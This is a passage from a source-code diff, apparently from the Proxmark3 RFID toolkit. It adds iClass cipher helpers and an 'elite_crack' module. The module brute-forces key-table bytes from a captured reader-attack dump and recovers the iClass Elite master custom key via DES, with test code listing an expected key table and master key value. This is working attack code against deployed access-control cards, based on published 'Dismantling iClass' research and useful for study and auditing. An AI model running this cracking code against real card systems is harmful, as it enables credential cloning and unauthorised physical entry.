uint8_t *div_key_p, uint8_t *mac) -{ - uint8_t *cc_nr; - uint8_t div_key[8]; - cc_nr=(uint8_t*)malloc(length+1); - memcpy(cc_nr,cc_nr_p,length); - memcpy(div_key,div_key_p,8); - - reverse_arraybytes(cc_nr,length); - BitstreamIn bitstream = {cc_nr,length * 8,0}; - uint8_t dest []= {0,0,0,0,0,0,0,0}; - BitstreamOut out = { dest, sizeof(dest)*8, 0 }; - MAC(div_key,bitstream, out); - //The output MAC must also be reversed - reverse_arraybytes(dest, sizeof(dest)); - - printf("Calculated_MAC\t%02x%02x%02x%02x\n", dest[0],dest[1],dest[2],dest[3]); - memcpy(mac,dest,4); - free(cc_nr); - return 1; -} diff --cc client/loclass/cipher.h index 00000000,4af92b16..7ebc3dc7 mode 000000,100644..100644 --- a/client/loclass/cipher.h +++ b/client/loclass/cipher.h @@@ -1,0 -1,46 +1,31 @@@ + /***************************************************************************** + * This file is part of iClassCipher. It is a reconstructon of the cipher engine + * used in iClass, and RFID techology. + * + * The implementation is based on the work performed by + * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and + * Milosch Meriac in the paper "Dismantling IClass". + * + * Copyright (C) 2014 Martin Holst Swende + * + * This is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as published + * by the Free Software Foundation. + * + * This file is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with IClassCipher. If not, see . + ****************************************************************************/ + + #ifndef CIPHER_H + #define CIPHER_H + #include + -/** -* Definition 1 (Cipher state). A cipher state of iClass s is an element of F 40/2 -* consisting of the following four components: -* 1. the left register l = (l 0 . . . l 7 ) ∈ F 8/2 ; -* 2. the right register r = (r 0 . . . r 7 ) ∈ F 8/2 ; -* 3. the top register t = (t 0 . . . t 15 ) ∈ F 16/2 . -* 4. the bottom register b = (b 0 . . . b 7 ) ∈ F 8/2 . -**/ -typedef struct { - uint8_t l; - uint8_t r; - uint8_t b; - uint16_t t; -} State; - -void printarr(char * name, uint8_t* arr, int len); -int calc_iclass_mac(uint8_t *cc_nr_p, int length, uint8_t *div_key_p, uint8_t *mac); ++void doMAC(uint8_t cc_nr[12],uint8_t div_key[8], uint8_t mac[4]); ++int testMAC(); + + #endif // CIPHER_H diff --cc client/loclass/cipherutils.c index 00000000,685a3815..1e08cf10 mode 000000,100644..100644 --- a/client/loclass/cipherutils.c +++ b/client/loclass/cipherutils.c @@@ -1,0 -1,195 +1,273 @@@ + /***************************************************************************** + * This file is part of iClassCipher. It is a reconstructon of the cipher engine + * used in iClass, and RFID techology. + * + * The implementation is based on the work performed by + * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and + * Milosch Meriac in the paper "Dismantling IClass". + * + * Copyright (C) 2014 Martin Holst Swende + * + * This is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as published + * by the Free Software Foundation. + * + * This file is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with IClassCipher. If not, see . + ****************************************************************************/ + -#include "cipherutils.h" -#include "../util.h" + #include + #include + #include - ++#include "fileutils.h" ++#include "cipherutils.h" + /** + * + * @brief Return and remove the first bit (x0) in the stream : + * @param stream + * @return + */ + bool headBit( BitstreamIn *stream) + { + int bytepos = stream->position >> 3; // divide by 8 + int bitpos = (stream->position++) & 7; // mask out 00000111 + return (*(stream->buffer + bytepos) >> (7-bitpos)) & 1; + } + /** + * @brief Return and remove the last bit (xn) in the stream: + * @param stream + * @return + */ + bool tailBit( BitstreamIn *stream) + { + int bitpos = stream->numbits -1 - (stream->position++); + + int bytepos= bitpos >> 3; + bitpos &= 7; + return (*(stream->buffer + bytepos) >> (7-bitpos)) & 1; + } + /** + * @brief Pushes bit onto the stream + * @param stream + * @param bit + */ + void pushBit( BitstreamOut* stream, bool bit) + { + int bytepos = stream->position >> 3; // divide by 8 + int bitpos = stream->position & 7; + *(stream->buffer+bytepos) |= (bit & 1) << (7 - bitpos); + stream->position++; + stream->numbits++; + } + + /** + * @brief Pushes the lower six bits onto the stream + * as b0 b1 b2 b3 b4 b5 b6 + * @param stream + * @param bits + */ + void push6bits( BitstreamOut* stream, uint8_t bits) + { + pushBit(stream, bits & 0x20); + pushBit(stream, bits & 0x10); + pushBit(stream, bits & 0x08); + pushBit(stream, bits & 0x04); + pushBit(stream, bits & 0x02); + pushBit(stream, bits & 0x01); + } + + /** + * @brief bitsLeft + * @param stream + * @return number of bits left in stream + */ + int bitsLeft( BitstreamIn *stream) + { + return stream->numbits - stream->position; + } + /** + * @brief numBits + * @param stream + * @return Number of bits stored in stream + */ + int numBits(BitstreamOut *stream) + { + return stream->numbits; + } + ++void x_num_to_bytes(uint64_t n, size_t len, uint8_t* dest) ++{ ++ while (len--) { ++ dest[len] = (uint8_t) n; ++ n >>= 8; ++ } ++} ++ ++uint64_t x_bytes_to_num(uint8_t* src, size_t len) ++{ ++ uint64_t num = 0; ++ while (len--) ++ { ++ num = (num << 8) | (*src); ++ src++; ++ } ++ return num; ++} + uint8_t reversebytes(uint8_t b) { + b = (b & 0xF0) >> 4 | (b & 0x0F) << 4; + b = (b & 0xCC) >> 2 | (b & 0x33) << 2; + b = (b & 0xAA) >> 1 | (b & 0x55) << 1; + return b; + } + void reverse_arraybytes(uint8_t* arr, size_t len) + { + uint8_t i; + for( i =0; i< len ; i++) + { + arr[i] = reversebytes(arr[i]); + } + } ++void reverse_arraycopy(uint8_t* arr, uint8_t* dest, size_t len) ++{ ++ uint8_t i; ++ for( i =0; i< len ; i++) ++ { ++ dest[i] = reversebytes(arr[i]); ++ } ++} ++ ++void printarr(char * name, uint8_t* arr, int len) ++{ ++ int cx; ++ size_t outsize = 40+strlen(name)+len*5; ++ char* output = malloc(outsize); ++ memset(output, 0,outsize); ++ ++ int i ; ++ cx = snprintf(output,outsize, "uint8_t %s[] = {", name); ++ for(i =0 ; i< len ; i++) ++ { ++ cx += snprintf(output+cx,outsize-cx,"0x%02x,",*(arr+i));//5 bytes per byte ++ } ++ cx += snprintf(output+cx,outsize-cx,"};"); ++ prnlog(output); ++} ++ ++void printvar(char * name, uint8_t* arr, int len) ++{ ++ int cx; ++ size_t outsize = 40+strlen(name)+len*2; ++ char* output = malloc(outsize); ++ memset(output, 0,outsize); ++ ++ int i ; ++ cx = snprintf(output,outsize,"%s = ", name); ++ for(i =0 ; i< len ; i++) ++ { ++ cx += snprintf(output+cx,outsize-cx,"%02x",*(arr+i));//2 bytes per byte ++ } ++ ++ prnlog(output); ++} ++ ++void printarr_human_readable(char * title, uint8_t* arr, int len) ++{ ++ int cx; ++ size_t outsize = 100+strlen(title)+len*4; ++ char* output = malloc(outsize); ++ memset(output, 0,outsize); + + ++ int i; ++ cx = snprintf(output,outsize, "\n\t%s\n", title); ++ for(i =0 ; i< len ; i++) ++ { ++ if(i % 16 == 0) ++ cx += snprintf(output+cx,outsize-cx,"\n%02x| ", i ); ++ cx += snprintf(output+cx,outsize-cx, "%02x ",*(arr+i)); ++ } ++ prnlog(output); ++} ++ + //----------------------------- + // Code for testing below + //----------------------------- + + + int testBitStream() + { + uint8_t input [] = {0xDE,0xAD,0xBE,0xEF,0xDE,0xAD,0xBE,0xEF}; + uint8_t output [] = {0,0,0,0,0,0,0,0}; + BitstreamIn in = { input, sizeof(input) * 8,0}; + BitstreamOut out ={ output, 0,0} + ; + while(bitsLeft(&in) > 0) + { + pushBit(&out, headBit(&in)); + //printf("Bits left: %d\n", bitsLeft(&in)); + //printf("Bits out: %d\n", numBits(&out)); + } + if(memcmp(input, output, sizeof(input)) == 0) + { - printf("Bitstream test 1 ok\n"); ++ prnlog(" Bitstream test 1 ok"); + }else + { - printf("Bitstream test 1 failed\n"); ++ prnlog(" Bitstream test 1 failed"); + uint8_t i; + for(i = 0 ; i < sizeof(input) ; i++) + { - printf("IN %02x, OUT %02x\n", input[i], output[i]); ++ prnlog(" IN %02x, OUT %02x", input[i], output[i]); + } + return 1; + } + return 0; + } + + int testReversedBitstream() + { + uint8_t input [] = {0xDE,0xAD,0xBE,0xEF,0xDE,0xAD,0xBE,0xEF}; + uint8_t reverse [] = {0,0,0,0,0,0,0,0}; + uint8_t output [] = {0,0,0,0,0,0,0,0}; + BitstreamIn in = { input, sizeof(input) * 8,0}; + BitstreamOut out ={ output, 0,0}; + BitstreamIn reversed_in ={ reverse, sizeof(input)*8,0}; + BitstreamOut reversed_out ={ reverse,0 ,0}; + + while(bitsLeft(&in) > 0) + { + pushBit(&reversed_out, tailBit(&in)); + } + while(bitsLeft(&reversed_in) > 0) + { + pushBit(&out, tailBit(&reversed_in)); + } + if(memcmp(input, output, sizeof(input)) == 0) + { - printf("Bitstream test 2 ok\n"); ++ prnlog(" Bitstream test 2 ok"); + }else + { - printf("Bitstream test 2 failed\n"); ++ prnlog(" Bitstream test 2 failed"); + uint8_t i; + for(i = 0 ; i < sizeof(input) ; i++) + { - printf("IN %02x, MIDDLE: %02x, OUT %02x\n", input[i],reverse[i], output[i]); ++ prnlog(" IN %02x, MIDDLE: %02x, OUT %02x", input[i],reverse[i], output[i]); + } + return 1; + } + return 0; + } + + + int testCipherUtils(void) + { ++ prnlog("[+] Testing some internals..."); + int retval = 0; + retval |= testBitStream(); + retval |= testReversedBitstream(); + return retval; + } diff --cc client/loclass/cipherutils.h index 00000000,84435da9..acf96115 mode 000000,100644..100644 --- a/client/loclass/cipherutils.h +++ b/client/loclass/cipherutils.h @@@ -1,0 -1,55 +1,59 @@@ + /***************************************************************************** + * This file is part of iClassCipher. It is a reconstructon of the cipher engine + * used in iClass, and RFID techology. + * + * The implementation is based on the work performed by + * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and + * Milosch Meriac in the paper "Dismantling IClass". + * + * Copyright (C) 2014 Martin Holst Swende + * + * This is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as published + * by the Free Software Foundation. + * + * This file is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with IClassCipher. If not, see . + ****************************************************************************/ + + #ifndef CIPHERUTILS_H + #define CIPHERUTILS_H + #include + #include + #include + + typedef struct { + uint8_t * buffer; + uint8_t numbits; + uint8_t position; + } BitstreamIn; + + typedef struct { + uint8_t * buffer; + uint8_t numbits; + uint8_t position; + }BitstreamOut; + + bool headBit( BitstreamIn *stream); + bool tailBit( BitstreamIn *stream); + void pushBit( BitstreamOut *stream, bool bit); + int bitsLeft( BitstreamIn *stream); -bool xorbits_8(uint8_t val); -bool xorbits_16(uint16_t val); ++ + int testCipherUtils(void); + int testMAC(); + void push6bits( BitstreamOut* stream, uint8_t bits); + void EncryptDES(bool key[56], bool outBlk[64], bool inBlk[64], int verbose) ; ++void x_num_to_bytes(uint64_t n, size_t len, uint8_t* dest); ++uint64_t x_bytes_to_num(uint8_t* src, size_t len); + uint8_t reversebytes(uint8_t b); + void reverse_arraybytes(uint8_t* arr, size_t len); - ++void reverse_arraycopy(uint8_t* arr, uint8_t* dest, size_t len); ++void printarr(char * name, uint8_t* arr, int len); ++void printvar(char * name, uint8_t* arr, int len); ++void printarr_human_readable(char * title, uint8_t* arr, int len); + #endif // CIPHERUTILS_H diff --cc client/loclass/elite_crack.c index 00000000,00000000..27a2a1bc new file mode 100644 --- /dev/null +++ b/client/loclass/elite_crack.c @@@ -1,0 -1,0 +1,526 @@@ ++#include ++#include ++#include ++#include ++#include ++#include "cipherutils.h" ++#include "cipher.h" ++#include "ikeys.h" ++#include "elite_crack.h" ++#include "fileutils.h" ++#include "des.h" ++ ++/** ++ * @brief Permutes a key from standard NIST format to Iclass specific format ++ * from http://www.proxmark.org/forum/viewtopic.php?pid=11220#p11220 ++ * ++ * If you permute [6c 8d 44 f9 2a 2d 01 bf] you get [8a 0d b9 88 bb a7 90 ea] as shown below. ++ * ++ * 1 0 1 1 1 1 1 1 bf ++ * 0 0 0 0 0 0 0 1 01 ++ * 0 0 1 0 1 1 0 1 2d ++ * 0 0 1 0 1 0 1 0 2a ++ * 1 1 1 1 1 0 0 1 f9 ++ * 0 1 0 0 0 1 0 0 44 ++ * 1 0 0 0 1 1 0 1 8d ++ * 0 1 1 0 1 1 0 0 6c ++ * ++ * 8 0 b 8 b a 9 e ++ * a d 9 8 b 7 0 a ++ * ++ * @param key ++ * @param dest ++ */ ++void permutekey(uint8_t key[8], uint8_t dest[8]) ++{ ++ ++ int i; ++ for(i = 0 ; i < 8 ; i++) ++ { ++ dest[i] = (((key[7] & (0x80 >> i)) >> (7-i)) << 7) | ++ (((key[6] & (0x80 >> i)) >> (7-i)) << 6) | ++ (((key[5] & (0x80 >> i)) >> (7-i)) << 5) | ++ (((key[4] & (0x80 >> i)) >> (7-i)) << 4) | ++ (((key[3] & (0x80 >> i)) >> (7-i)) << 3) | ++ (((key[2] & (0x80 >> i)) >> (7-i)) << 2) | ++ (((key[1] & (0x80 >> i)) >> (7-i)) << 1) | ++ (((key[0] & (0x80 >> i)) >> (7-i)) << 0); ++ } ++ ++ return; ++} ++/** ++ * Permutes a key from iclass specific format to NIST format ++ * @brief permutekey_rev ++ * @param key ++ * @param dest ++ */ ++void permutekey_rev(uint8_t key[8], uint8_t dest[8]) ++{ ++ int i; ++ for(i = 0 ; i < 8 ; i++) ++ { ++ dest[7-i] = (((key[0] & (0x80 >> i)) >> (7-i)) << 7) | ++ (((key[1] & (0x80 >> i)) >> (7-i)) << 6) | ++ (((key[2] & (0x80 >> i)) >> (7-i)) << 5) | ++ (((key[3] & (0x80 >> i)) >> (7-i)) << 4) | ++ (((key[4] & (0x80 >> i)) >> (7-i)) << 3) | ++ (((key[5] & (0x80 >> i)) >> (7-i)) << 2) | ++ (((key[6] & (0x80 >> i)) >> (7-i)) << 1) | ++ (((key[7] & (0x80 >> i)) >> (7-i)) << 0); ++ } ++} ++ ++/** ++ * Helper function for hash1 ++ * @brief rr ++ * @param val ++ * @return ++ */ ++uint8_t rr(uint8_t val) ++{ ++ return val >> 1 | (( val & 1) << 7); ++} ++/** ++ * Helper function for hash1 ++ * @brief rl ++ * @param val ++ * @return ++ */ ++uint8_t rl(uint8_t val) ++{ ++ return val << 1 | (( val & 0x80) >> 7); ++} ++/** ++ * Helper function for hash1 ++ * @brief swap ++ * @param val ++ * @return ++ */ ++uint8_t swap(uint8_t val) ++{ ++ return ((val >> 4) & 0xFF) | ((val &0xFF) << 4); ++} ++ ++/** ++ * Hash1 takes CSN as input, and determines what bytes in the keytable will be used ++ * when constructing the K_sel. ++ * @param csn the CSN used ++ * @param k output ++ */ ++void hash1(uint8_t csn[] , uint8_t k[]) ++{ ++ k[0] = csn[0]^csn[1]^csn[2]^csn[3]^csn[4]^csn[5]^csn[6]^csn[7]; ++ k[1] = csn[0]+csn[1]+csn[2]+csn[3]+csn[4]+csn[5]+csn[6]+csn[7]; ++ k[2] = rr(swap( csn[2]+k[1] )); ++ k[3] = rr(swap( csn[3]+k[0] )); ++ k[4] = ~rr(swap( csn[4]+k[2] ))+1; ++ k[5] = ~rr(swap( csn[5]+k[3] ))+1; ++ k[6] = rr( csn[6]+(k[4]^0x3c) ); ++ k[7] = rl( csn[7]+(k[5]^0xc3) ); ++ int i; ++ for(i = 7; i >=0; i--) ++ k[i] = k[i] & 0x7F; ++} ++ ++ ++/** ++ * @brief Reads data from the iclass-reader-attack dump file. ++ * @param dump, data from a iclass reader attack dump. The format of the dumpdata is expected to be as follows: ++ * <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC><8 byte HASH1><1 byte NUM_BYTES_TO_RECOVER><3 bytes BYTES_TO_RECOVER> ++ * .. N times... ++ * ++ * So the first attack, with 3 bytes to recover would be : ... 03000145 ++ * And a later attack, with 1 byte to recover (byte 0x5)would be : ...01050000 ++ * And an attack, with 2 bytes to recover (byte 0x5 and byte 0x07 )would be : ...02050700 ++ * ++ * @param cc_nr an array to store cc_nr into (12 bytes) ++ * @param csn an arracy ot store CSN into (8 bytes) ++ * @param received_mac an array to store MAC into (4 bytes) ++ * @param i the number to read. Should be less than 127, or something is wrong... ++ * @return ++ */ ++int _readFromDump(uint8_t dump[], dumpdata* item, uint8_t i) ++{ ++ size_t itemsize = sizeof(dumpdata); ++ //dumpdata item = {0}; ++ memcpy(item,dump+i*itemsize, itemsize); ++ if(true) ++ { ++ printvar("csn", item->csn,8); ++ printvar("cc_nr", item->cc_nr,12); ++ printvar("mac", item->mac,4); ++ } ++ return 0; ++} ++ ++static uint32_t startvalue = 0; ++/** ++ * @brief Performs brute force attack against a dump-data item, containing csn, cc_nr and mac. ++ *This method calculates the hash1 for the CSN, and determines what bytes need to be bruteforced ++ *on the fly. If it finds that more than three bytes need to be bruteforced, it aborts. ++ *It updates the keytable with the findings, also using the upper half of the 16-bit ints ++ *to signal if the particular byte has been cracked or not. ++ * ++ * @param dump The dumpdata from iclass reader attack. ++ * @param keytable where to write found values. ++ * @return ++ */ ++int bruteforceItem(dumpdata item, uint16_t keytable[]) ++{ ++ int errors = 0; ++ uint8_t key_sel_p[8] = { 0 }; ++ uint8_t div_key[8] = {0}; ++ int found = false; ++ uint8_t key_sel[8] = {0}; ++ uint8_t calculated_MAC[4] = { 0 }; ++ ++ //Get the key index (hash1) ++ uint8_t key_index[8] = {0}; ++ hash1(item.csn, key_index); ++ ++ ++ /* ++ * Determine which bytes to retrieve. A hash is typically ++ * 01010000454501 ++ * We go through that hash, and in the corresponding keytable, we put markers ++ * on what state that particular index is: ++ * - CRACKED (this has already been cracked) ++ * - BEING_CRACKED (this is being bruteforced now) ++ * - CRACK_FAILED (self-explaining...) ++ * ++ * The markers are placed in the high area of the 16 bit key-table. ++ * Only the lower eight bits correspond to the (hopefully cracked) key-value. ++ **/ ++ uint8_t bytes_to_recover[3] = {0}; ++ uint8_t numbytes_to_recover = 0 ; ++ int i; ++ for(i =0 ; i < 8 ; i++) ++ { ++ if(keytable[key_index[i]] & (CRACKED | BEING_CRACKED)) continue; ++ bytes_to_recover[numbytes_to_recover++] = key_index[i]; ++ keytable[key_index[i]] |= BEING_CRACKED; ++ ++ if(numbytes_to_recover > 3) ++ { ++ prnlog("The CSN requires > 3 byte bruteforce, not supported"); ++ printvar("CSN", item.csn,8); ++ printvar("HASH1", key_index,8); ++ ++ //Before we exit, reset the 'BEING_CRACKED' to zero ++ keytable[bytes_to_recover[0]] &= ~BEING_CRACKED; ++ keytable[bytes_to_recover[1]] &= ~BEING_CRACKED; ++ keytable[bytes_to_recover[2]] &= ~BEING_CRACKED; ++ ++ return 1; ++ } ++ } ++ ++ /* ++ *A uint32 has room for 4 bytes, we'll only need 24 of those bits to bruteforce up to three bytes, ++ */ ++ uint32_t brute = startvalue; ++ /* ++ Determine where to stop the bruteforce. A 1-byte attack stops after 256 tries, ++ (when brute reaches 0x100). And so on... ++ bytes_to_recover = 1 --> endmask = 0x0000100 ++ bytes_to_recover = 2 --> endmask = 0x0010000 ++ bytes_to_recover = 3 --> endmask = 0x1000000 ++ */ ++ ++ uint32_t endmask = 1 << 8*numbytes_to_recover; ++ ++ for(i =0 ; i < numbytes_to_recover && numbytes_to_recover > 1; i++) ++ prnlog("Bruteforcing byte %d", bytes_to_recover[i]); ++ ++ while(!found && !(brute & endmask)) ++ { ++ ++ //Update the keytable with the brute-values ++ for(i =0 ; i < numbytes_to_recover; i++) ++ { ++ keytable[bytes_to_recover[i]] &= 0xFF00; ++ keytable[bytes_to_recover[i]] |= (brute >> (i*8) & 0xFF); ++ } ++ ++ // Piece together the key ++ key_sel[0] = keytable[key_index[0]] & 0xFF;key_sel[1] = keytable[key_index[1]] & 0xFF; ++ key_sel[2] = keytable[key_index[2]] & 0xFF;key_sel[3] = keytable[key_index[3]] & 0xFF; ++ key_sel[4] = keytable[key_index[4]] & 0xFF;key_sel[5] = keytable[key_index[5]] & 0xFF; ++ key_sel[6] = keytable[key_index[6]] & 0xFF;key_sel[7] = keytable[key_index[7]] & 0xFF; ++ ++ //Permute from iclass format to standard format ++ permutekey_rev(key_sel,key_sel_p); ++ //Diversify ++ diversifyKey(item.csn, key_sel_p, div_key); ++ //Calc mac ++ doMAC(item.cc_nr, div_key,calculated_MAC); ++ ++ if(memcmp(calculated_MAC, item.mac, 4) == 0) ++ { ++ for(i =0 ; i < numbytes_to_recover; i++) ++ prnlog("=> %d: 0x%02x", bytes_to_recover[i],0xFF & keytable[bytes_to_recover[i]]); ++ found = true; ++ break; ++ } ++ brute++; ++ if((brute & 0xFFFF) == 0) ++ { ++ printf("%d",(brute >> 16) & 0xFF); ++ fflush(stdout); ++ } ++ } ++ if(! found) ++ { ++ prnlog("Failed to recover %d bytes using the following CSN",numbytes_to_recover); ++ printvar("CSN",item.csn,8); ++ errors++; ++ //Before we exit, reset the 'BEING_CRACKED' to zero ++ for(i =0 ; i < numbytes_to_recover; i++) ++ { ++ keytable[bytes_to_recover[i]] &= 0xFF; ++ keytable[bytes_to_recover[i]] |= CRACK_FAILED; ++ } ++ ++ }else ++ { ++ for(i =0 ; i < numbytes_to_recover; i++) ++ { ++ keytable[bytes_to_recover[i]] &= 0xFF; ++ keytable[bytes_to_recover[i]] |= CRACKED; ++ } ++ ++ } ++ return errors; ++} ++ ++ ++/** ++ * From dismantling iclass-paper: ++ * Assume that an adversary somehow learns the first 16 bytes of hash2(K_cus ), i.e., y [0] and z [0] . ++ * Then he can simply recover the master custom key K_cus by computing ++ * K_cus = ~DES(z[0] , y[0] ) . ++ * ++ * Furthermore, the adversary is able to verify that he has the correct K cus by ++ * checking whether z [0] = DES enc (K_cus , ~K_cus ). ++ * @param keytable an array (128 bytes) of hash2(kcus) ++ * @param master_key where to put the master key ++ * @return 0 for ok, 1 for failz ++ */ ++int calculateMasterKey(uint8_t first16bytes[], uint64_t master_key[] ) ++{ ++ des_context ctx_e = {DES_ENCRYPT,{0}}; ++ ++ uint8_t z_0[8] = {0}; ++ uint8_t y_0[8] = {0}; ++ uint8_t z_0_rev[8] = {0}; ++ uint8_t key64[8] = {0}; ++ uint8_t key64_negated[8] = {0}; ++ uint8_t result[8] = {0}; ++ ++ // y_0 and z_0 are the first 16 bytes of the keytable ++ memcpy(y_0,first16bytes,8); ++ memcpy(z_0,first16bytes+8,8); ++ ++ // Our DES-implementation uses the standard NIST ++ // format for keys, thus must translate from iclass ++ // format to NIST-format ++ permutekey_rev(z_0, z_0_rev); ++ ++ // ~K_cus = DESenc(z[0], y[0]) ++ des_setkey_enc( &ctx_e, z_0_rev ); ++ des_crypt_ecb(&ctx_e, y_0, key64_negated); ++ ++ int i; ++ for(i = 0; i < 8 ; i++) ++ { ++ key64[i] = ~key64_negated[i]; ++ } ++ ++ // Can we verify that the key is correct? ++ // Once again, key is on iclass-format ++ uint8_t key64_stdformat[8] = {0}; ++ permutekey_rev(key64, key64_stdformat); ++ ++ des_setkey_enc( &ctx_e, key64_stdformat ); ++ des_crypt_ecb(&ctx_e, key64_negated, result); ++ prnlog("\nHigh security custom key (Kcus):"); ++ printvar("Std format ", key64_stdformat,8); ++ printvar("Iclass format", key64,8); ++ ++ if(master_key != NULL) ++ memcpy(master_key, key64, 8); ++ ++ if(memcmp(z_0,result,4) != 0) ++ { ++ prnlog("Failed to verify calculated master key (k_cus)! Something is wrong."); ++ return 1; ++ }else{ ++ prnlog("Key verified ok!\n"); ++ } ++ return 0; ++} ++/** ++ * @brief Same as bruteforcefile, but uses a an array of dumpdata instead ++ * @param dump ++ * @param dumpsize ++ * @param keytable ++ * @return ++ */ ++int bruteforceDump(uint8_t dump[], size_t dumpsize, uint16_t keytable[]) ++{ ++ uint8_t i; ++ int errors = 0; ++ size_t itemsize = sizeof(dumpdata); ++ clock_t t1 = clock(); ++ ++ dumpdata* attack = (dumpdata* ) malloc(itemsize); ++ ++ for(i = 0 ; i * itemsize < dumpsize ; i++ ) ++ { ++ memcpy(attack,dump+i*itemsize, itemsize); ++ errors += bruteforceItem(*attack, keytable); ++ } ++ free(attack); ++ clock_t t2 = clock(); ++ float diff = (((float)t2 - (float)t1) / CLOCKS_PER_SEC ); ++ prnlog("\nPerformed full crack in %f seconds",diff); ++ ++ // Pick out the first 16 bytes of the keytable. ++ // The keytable is now in 16-bit ints, where the upper 8 bits ++ // indicate crack-status. Those must be discarded for the ++ // master key calculation ++ uint8_t first16bytes[16] = {0}; ++ ++ for(i = 0 ; i < 16 ; i++) ++ { ++ first16bytes[i] = keytable[i] & 0xFF; ++ if(!(keytable[i] & CRACKED)) ++ { ++ prnlog("Error, we are missing byte %d, custom key calculation will fail...", i); ++ } ++ } ++ errors += calculateMasterKey(first16bytes, NULL); ++ return errors; ++} ++/** ++ * Perform a bruteforce against a file which has been saved by pm3 ++ * ++ * @brief bruteforceFile ++ * @param filename ++ * @return ++ */ ++int bruteforceFile(const char *filename, uint16_t keytable[]) ++{ ++ ++ FILE *f = fopen(filename, "rb"); ++ if(!f) { ++ prnlog("Failed to read from file '%s'", filename); ++ return 1; ++ } ++ ++ fseek(f, 0, SEEK_END); ++ long fsize = ftell(f); ++ fseek(f, 0, SEEK_SET); ++ ++ uint8_t *dump = malloc(fsize); ++ size_t bytes_read = fread(dump, fsize, 1, f); ++ ++ fclose(f); ++ if (bytes_read < fsize) ++ { ++ prnlog("Error, could only read %d bytes (should be %d)",bytes_read, fsize ); ++ } ++ return bruteforceDump(dump,fsize,keytable); ++} ++/** ++ * ++ * @brief Same as above, if you don't care about the returned keytable (results only printed on screen) ++ * @param filename ++ * @return ++ */ ++int bruteforceFileNoKeys(const char *filename) ++{ ++ uint16_t keytable[128] = {0}; ++ return bruteforceFile(filename, keytable); ++} ++ ++// --------------------------------------------------------------------------------- ++// ALL CODE BELOW THIS LINE IS PURELY TESTING ++// --------------------------------------------------------------------------------- ++// ---------------------------------------------------------------------------- ++// TEST CODE BELOW ++// ---------------------------------------------------------------------------- ++ ++int _testBruteforce() ++{ ++ int errors = 0; ++ if(true){ ++ // First test ++ prnlog("[+] Testing crack from dumpfile..."); ++ ++ /** ++ Expected values for the dumpfile: ++ High Security Key Table ++ ++ 00 F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1 ++ 10 BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21 ++ 20 14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2 ++ 30 A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C ++ 40 78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6 ++ 50 31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42 ++ 60 3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95 ++ 70 43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB ++ ++ **** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 **** ++ **/ ++ uint16_t keytable[128] = {0}; ++ //save some time... ++ startvalue = 0x7B0000; ++ errors |= bruteforceFile("iclass_dump.bin",keytable); ++ } ++ return errors; ++} ++ ++int _test_iclass_key_permutation() ++{ ++ uint8_t testcase[8] = {0x6c,0x8d,0x44,0xf9,0x2a,0x2d,0x01,0xbf}; ++ uint8_t testcase_output[8] = {0}; ++ uint8_t testcase_output_correct[8] = {0x8a,0x0d,0xb9,0x88,0xbb,0xa7,0x90,0xea}; ++ uint8_t testcase_output_rev[8] = {0}; ++ permutekey(testcase, testcase_output); ++ permutekey_rev(testcase_output, testcase_output_rev); ++ ++ ++ if(memcmp(testcase_output, testcase_output_correct,8) != 0) ++ { ++ prnlog("Error with iclass key permute!"); ++ printarr("testcase_output", testcase_output, 8); ++ printarr("testcase_output_correct", testcase_output_correct, 8); ++ return 1; ++ ++ } ++ if(memcmp(testcase, testcase_output_rev, 8) != 0) ++ { ++ prnlog("Error with reverse iclass key permute"); ++ printarr("testcase", testcase, 8); ++ printarr("testcase_output_rev", testcase_output_rev, 8); ++ return 1; ++ } ++ ++ prnlog("[+] Iclass key permutation OK!"); ++ return 0; ++} ++ ++int testElite() ++{ ++ prnlog("[+] Testing iClass Elite functinality..."); ++ prnlog("[+] Testing key diversification ..."); ++ ++ int errors = 0 ; ++ errors +=_test_iclass_key_permutation(); ++ errors += _testBruteforce(); ++ return errors; ++ ++} ++ diff --cc client/loclass/elite_crack.h index 00000000,00000000..c1fa3f1c new file mode 100644 --- /dev/null +++ b/client/loclass/elite_crack.h @@@ -1,0 -1,0 +1,108 @@@ ++#ifndef ELITE_CRACK_H ++#define ELITE_CRACK_H ++void permutekey(uint8_t key[8], uint8_t dest[8]); ++/** ++ * Permutes a key from iclass specific format to NIST format ++ * @brief permutekey_rev ++ * @param key ++ * @param dest ++ */ ++void permutekey_rev(uint8_t key[8], uint8_t dest[8]); ++//Crack status, see below ++#define CRACKED 0x0100 ++#define BEING_CRACKED 0x0200 ++#define CRACK_FAILED 0x0400 ++ ++/** ++ * Perform a bruteforce against a file which has been saved by pm3 ++ * ++ * @brief bruteforceFile ++ * @param filename ++ * @param keytable an arrah (128 x 16 bit ints). This is where the keydata is stored. ++ * OBS! the upper part of the 16 bits store crack-status, ++ * @return ++ */ ++int bruteforceFile(const char *filename, uint16_t keytable[]); ++/** ++ * ++ * @brief Same as above, if you don't care about the returned keytable (results only printed on screen) ++ * @param filename ++ * @return ++ */ ++int bruteforceFileNoKeys(const 